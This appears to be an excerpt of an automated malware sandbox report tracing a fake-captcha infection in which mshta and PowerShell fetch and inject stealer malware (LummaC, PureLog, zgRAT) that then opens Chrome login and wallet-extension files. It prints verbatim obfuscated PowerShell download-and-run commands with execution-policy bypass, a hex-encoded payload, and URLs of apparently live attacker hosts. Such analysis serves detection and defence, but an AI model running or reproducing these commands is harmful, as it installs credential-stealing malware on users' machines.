Source: powershell.exe, 00000004.00000002.1761877979.0000000007565000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: mshta.exe, 00000002.00000003.1778044565.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780645994.000000000286D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: mshta.exe, 00000002.00000002.1780783376.00000000028CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}~
Source: powershell.exe, 00000006.00000002.2683246502.000000000350A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'G*Cm*t'}).Name).Invoke($ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name)|GM|Where-Object{(DIR Variable:\_).Value.Name-like'*Com*e'}).Name).Invoke('*w-*ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value|GM)|Where-Object{(DIR Variable:\_).Value.Name-like'*wn*g'}).Name);($ExecutionContext|ForEach{(DIR Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{$_.(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where-Object{(DIR Variable:\_).Value.Name-like'*w*i*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\WINDOWS\system32\mshta.exe" https://solve.fizq.net/awjxs.captcha	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ERrXH($NPRZ){return -split ($NPRZ -replace '..', '0x$& ')};$ZMcko = ERrXH('6C99A336230E5A2C9C9A564A467FCC7257DD8D73078CDDBE02A1C1E1CFEDEF1F69966C54CB1E0285E1AC81545FC7B37E41947EEF4312D686A1E5ECA561E4B330B6BA4E39137E46B1CF88F17B1CB79DDD3D8F77137F26D2026351102801E1B8EE83DC3C63D271BF7B2D32A103440FFAF27E51B9A655BC0FF4EAF17755211742BE41D6E00A001C4AB1700E496BCEB4C89D00508B0B68540C20C935204C74F180AA8B22C7493BDE52C7E082CAA9BE5DA2E40EDA75A53BD815D984B8564B6C5038B4A08214FF76BAA31263424BB9E93A9CE0F6F32C5E9C04A3878210984A5C49EF44488BBF880C62CFC91A641624C5D3BBD2FC8D663749EC8640E19E84846FD13EBD37FE167ECAADF42A3A5F25585727DE5C37C223ECF8D8B397DCD90774ADCB0FD58898F52117E75CF08D8FF61DB1811D9B84EFF315D837D713331AFE66E19BFD84FF8BA54B199FCB0269CBE56507C12EA8637FEA0A67B6D12314008A1A25D934DBDC48FA684F23E9C501CDA3D6EDD7E1DB27877FEBE1B1434E17BC899F36D51BA739F6507615383E3B76DC4DA7CF7DB096F71CD34EF427E409688C24F8BB3BD0F3DB16EAABE36CD48798812B320FEA85CA4F71867DC6D48582D5777965011C7B4801FB2CDB18E83428C7808F638DAAF946C009B3F07F09FF06C12C76831DD7747D232DFD24FB9801CADBFD5E5EC908A1E51EC88CDE84AF039CE48EFE74A558CA4CBD92F3BCFA89B2AA00759AF0A0859F3F4ED35DBE2626C1F3844FACFBE69C3AF62DE312661FA0A1C9EF460D20A5D199852B92C4883BFF88E5B2F1FDABA90D71163E5DDB1A17351D3D569C380BD9B27019E63CAD3FBC9C1BF7848CF286360E4C58DC0982C67C6AEF5785616C9877FDCC9B73B1A787A21FBB8F5F7E06CCEF0CBA53610C8E0459F28EE99160390976D4765E779A2A809EC1AB4F2D73A45E246DFF920777B514611903535C5ED407ADDBF093B0601148111BDF803C8B56E525FA9858F48A247B21967016E863E2168D3C4E89C41F15B44CEDBF3C30A49DB22F27A6E8D16F4FDB02943C76ACD372022387AC294C26B60DAF5F676870DAA3C0FB0B090D7996806834504CCE1C17B4E8229467DA457082CAF7F79AC294EB12BF534C76E52C69F0E157B56FD8069B76BDB2EED8385CD903FA7A13DA82CDBF4E8A8CF38A0A2E5F4242E1C26E5BCB6F3AF8E2445C1B494CCB5C69DC58B7746F0C79D2DA716530BDCA02459C015DBB2ABEA4BECB26097E41CE2FBD300A920FD18318366C5D4B7A04C833A236496C4C8A6188EE9A72760FA54EB5221B2960085B7A18CBB9E11E7CC4689666D213681E9A7D41F02061038A45FF0FE8EBBC097E9B2E8CAC4EDF3BF43758115832CE1E28283D795091E9DAAAC752BD4A4516CE6DDB72B53E8186CA1A4D77D156AFBE03BE987790E9776784A6E70627F727ED765D7F51E83778A499E2FF2CD51DA0DBFD933914AEF22FD2CDEAEB1305C5570317DB8D7475A9AD738EBF387927CED9E50E2B520DD916ED2A173D9E003B4C8EF8F37E793194E4E01D9D0CF44488AFE08088233788987E7EF92C4EA59C09AE3C6978D85B80137C2B4DC42B109F4299AB74B6133D2390EB63B68D01047C56B1C0BAD51059ED21678A8D190F8061EF4644822357A50DF94B8A4E44A6420B241971988F3D27094F5CC39FE50EFB4536F7FF84CB61206C5799806EE78F9E92132F0629C8062B57966710BDE9EF5D86960E07F6CAC367FC1C647D09612B8C1B9FCADAD251FDD08F3143C2A62095850DE26FAB05330A6052FC0C7B88A7633F8EB38E499149753BB3838C0CFCDFD806F53E3DF94F3B82207E016C20A230EA548FAAA34253FDA1400710D76D7406BAE6A40B73B79AD689C21A5D886E4AF2806C14F3364355409B48AF74043DA8F661C1504E41E526A00634CB7BE67747BCECEB4FDFBB3CAB9FA8A9889564D5F64BEF7D5626DA881E86F66	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function errxh($nprz){return -split ($nprz -replace '..', '0x$& ')};$zmcko = errxh('6c99a336230e5a2c9c9a564a467fcc7257dd8d73078cddbe02a1c1e1cfedef1f69966c54cb1e0285e1ac81545fc7b37e41947eef4312d686a1e5eca561e4b330b6ba4e39137e46b1cf88f17b1cb79ddd3d8f77137f26d2026351102801e1b8ee83dc3c63d271bf7b2d32a103440ffaf27e51b9a655bc0ff4eaf17755211742be41d6e00a001c4ab1700e496bceb4c89d00508b0b68540c20c935204c74f180aa8b22c7493bde52c7e082caa9be5da2e40eda75a53bd815d984b8564b6c5038b4a08214ff76baa31263424bb9e93a9ce0f6f32c5e9c04a3878210984a5c49ef44488bbf880c62cfc91a641624c5d3bbd2fc8d663749ec8640e19e84846fd13ebd37fe167ecaadf42a3a5f25585727de5c37c223ecf8d8b397dcd90774adcb0fd58898f52117e75cf08d8ff61db1811d9b84eff315d837d713331afe66e19bfd84ff8ba54b199fcb0269cbe56507c12ea8637fea0a67b6d12314008a1a25d934dbdc48fa684f23e9c501cda3d6edd7e1db27877febe1b1434e17bc899f36d51ba739f6507615383e3b76dc4da7cf7db096f71cd34ef427e409688c24f8bb3bd0f3db16eaabe36cd48798812b320fea85ca4f71867dc6d48582d5777965011c7b4801fb2cdb18e83428c7808f638daaf946c009b3f07f09ff06c12c76831dd7747d232dfd24fb9801cadbfd5e5ec908a1e51ec88cde84af039ce48efe74a558ca4cbd92f3bcfa89b2aa00759af0a0859f3f4ed35dbe2626c1f3844facfbe69c3af62de312661fa0a1c9ef460d20a5d199852b92c4883bff88e5b2f1fdaba90d71163e5ddb1a17351d3d569c380bd9b27019e63cad3fbc9c1bf7848cf286360e4c58dc0982c67c6aef5785616c9877fdcc9b73b1a787a21fbb8f5f7e06ccef0cba53610c8e0459f28ee99160390976d4765e779a2a809ec1ab4f2d73a45e246dff920777b514611903535c5ed407addbf093b0601148111bdf803c8b56e525fa9858f48a247b21967016e863e2168d3c4e89c41f15b44cedbf3c30a49db22f27a6e8d16f4fdb02943c76acd372022387ac294c26b60daf5f676870daa3c0fb0b090d7996806834504cce1c17b4e8229467da457082caf7f79ac294eb12bf534c76e52c69f0e157b56fd8069b76bdb2eed8385cd903fa7a13da82cdbf4e8a8cf38a0a2e5f4242e1c26e5bcb6f3af8e2445c1b494ccb5c69dc58b7746f0c79d2da716530bdca02459c015dbb2abea4becb26097e41ce2fbd300a920fd18318366c5d4b7a04c833a236496c4c8a6188ee9a72760fa54eb5221b2960085b7a18cbb9e11e7cc4689666d213681e9a7d41f02061038a45ff0fe8ebbc097e9b2e8cac4edf3bf43758115832ce1e28283d795091e9daaac752bd4a4516ce6ddb72b53e8186ca1a4d77d156afbe03be987790e9776784a6e70627f727ed765d7f51e83778a499e2ff2cd51da0dbfd933914aef22fd2cdeaeb1305c5570317db8d7475a9ad738ebf387927ced9e50e2b520dd916ed2a173d9e003b4c8ef8f37e793194e4e01d9d0cf44488afe08088233788987e7ef92c4ea59c09ae3c6978d85b80137c2b4dc42b109f4299ab74b6133d2390eb63b68d01047c56b1c0bad51059ed21678a8d190f8061ef4644822357a50df94b8a4e44a6420b241971988f3d27094f5cc39fe50efb4536f7ff84cb61206c5799806ee78f9e92132f0629c8062b57966710bde9ef5d86960e07f6cac367fc1c647d09612b8c1b9fcadad251fdd08f3143c2a62095850de26fab05330a6052fc0c7b88a7633f8eb38e499149753bb3838c0cfcdfd806f53e3df94f3b82207e016c20a230ea548faaa34253fda1400710d76d7406bae6a40b73b79ad689c21a5d886e4af2806c14f3364355409b48af74043da8f661c1504e41e526a00634cb7be67747bceceb4fdfbb3cab9fa8a9889564d5f64bef7d5626da881e86f66
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command set-item variable:/b 'net.webclient';sv plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;si variable:\z (.$executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'gcmt'}).name).invoke($executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name)\|gm\|where-object{(dir variable:\_).value.name-like'come'}).name).invoke('w-ct',1,$true))(childitem variable:\b).value);si variable:o ((((variable z).value\|gm)\|where-object{(dir variable:\_).value.name-like'wng'}).name);($executioncontext\|foreach{(dir variable:\_).value.(($executioncontext\|gm)[6].name)\|foreach{$_.(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'wi*ck'}).name).invoke((variable z).value.((gv o -valueo)).invoke((variable plm).value))}}).invoke()
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function errxh($nprz){return -split ($nprz -replace '..', '0x$& ')};$zmcko = errxh('6c99a336230e5a2c9c9a564a467fcc7257dd8d73078cddbe02a1c1e1cfedef1f69966c54cb1e0285e1ac81545fc7b37e41947eef4312d686a1e5eca561e4b330b6ba4e39137e46b1cf88f17b1cb79ddd3d8f77137f26d2026351102801e1b8ee83dc3c63d271bf7b2d32a103440ffaf27e51b9a655bc0ff4eaf17755211742be41d6e00a001c4ab1700e496bceb4c89d00508b0b68540c20c935204c74f180aa8b22c7493bde52c7e082caa9be5da2e40eda75a53bd815d984b8564b6c5038b4a08214ff76baa31263424bb9e93a9ce0f6f32c5e9c04a3878210984a5c49ef44488bbf880c62cfc91a641624c5d3bbd2fc8d663749ec8640e19e84846fd13ebd37fe167ecaadf42a3a5f25585727de5c37c223ecf8d8b397dcd90774adcb0fd58898f52117e75cf08d8ff61db1811d9b84eff315d837d713331afe66e19bfd84ff8ba54b199fcb0269cbe56507c12ea8637fea0a67b6d12314008a1a25d934dbdc48fa684f23e9c501cda3d6edd7e1db27877febe1b1434e17bc899f36d51ba739f6507615383e3b76dc4da7cf7db096f71cd34ef427e409688c24f8bb3bd0f3db16eaabe36cd48798812b320fea85ca4f71867dc6d48582d5777965011c7b4801fb2cdb18e83428c7808f638daaf946c009b3f07f09ff06c12c76831dd7747d232dfd24fb9801cadbfd5e5ec908a1e51ec88cde84af039ce48efe74a558ca4cbd92f3bcfa89b2aa00759af0a0859f3f4ed35dbe2626c1f3844facfbe69c3af62de312661fa0a1c9ef460d20a5d199852b92c4883bff88e5b2f1fdaba90d71163e5ddb1a17351d3d569c380bd9b27019e63cad3fbc9c1bf7848cf286360e4c58dc0982c67c6aef5785616c9877fdcc9b73b1a787a21fbb8f5f7e06ccef0cba53610c8e0459f28ee99160390976d4765e779a2a809ec1ab4f2d73a45e246dff920777b514611903535c5ed407addbf093b0601148111bdf803c8b56e525fa9858f48a247b21967016e863e2168d3c4e89c41f15b44cedbf3c30a49db22f27a6e8d16f4fdb02943c76acd372022387ac294c26b60daf5f676870daa3c0fb0b090d7996806834504cce1c17b4e8229467da457082caf7f79ac294eb12bf534c76e52c69f0e157b56fd8069b76bdb2eed8385cd903fa7a13da82cdbf4e8a8cf38a0a2e5f4242e1c26e5bcb6f3af8e2445c1b494ccb5c69dc58b7746f0c79d2da716530bdca02459c015dbb2abea4becb26097e41ce2fbd300a920fd18318366c5d4b7a04c833a236496c4c8a6188ee9a72760fa54eb5221b2960085b7a18cbb9e11e7cc4689666d213681e9a7d41f02061038a45ff0fe8ebbc097e9b2e8cac4edf3bf43758115832ce1e28283d795091e9daaac752bd4a4516ce6ddb72b53e8186ca1a4d77d156afbe03be987790e9776784a6e70627f727ed765d7f51e83778a499e2ff2cd51da0dbfd933914aef22fd2cdeaeb1305c5570317db8d7475a9ad738ebf387927ced9e50e2b520dd916ed2a173d9e003b4c8ef8f37e793194e4e01d9d0cf44488afe08088233788987e7ef92c4ea59c09ae3c6978d85b80137c2b4dc42b109f4299ab74b6133d2390eb63b68d01047c56b1c0bad51059ed21678a8d190f8061ef4644822357a50df94b8a4e44a6420b241971988f3d27094f5cc39fe50efb4536f7ff84cb61206c5799806ee78f9e92132f0629c8062b57966710bde9ef5d86960e07f6cac367fc1c647d09612b8c1b9fcadad251fdd08f3143c2a62095850de26fab05330a6052fc0c7b88a7633f8eb38e499149753bb3838c0cfcdfd806f53e3df94f3b82207e016c20a230ea548faaa34253fda1400710d76d7406bae6a40b73b79ad689c21a5d886e4af2806c14f3364355409b48af74043da8f661c1504e41e526a00634cb7be67747bceceb4fdfbb3cab9fa8a9889564d5f64bef7d5626da881e86f66	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command set-item variable:/b 'net.webclient';sv plm 'https://atsuka.thrivezest.org/hubus.xlm';sl;si variable:\z (.$executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'gcmt'}).name).invoke($executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name)\|gm\|where-object{(dir variable:\_).value.name-like'come'}).name).invoke('w-ct',1,$true))(childitem variable:\b).value);si variable:o ((((variable z).value\|gm)\|where-object{(dir variable:\_).value.name-like'wng'}).name);($executioncontext\|foreach{(dir variable:\_).value.(($executioncontext\|gm)[6].name)\|foreach{$_.(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'wi*ck'}).name).invoke((variable z).value.((gv o -valueo)).invoke((variable plm).value))}}).invoke()	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected PureLog Stealer

Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2813404644.000000000D3E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.d461e90.2.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
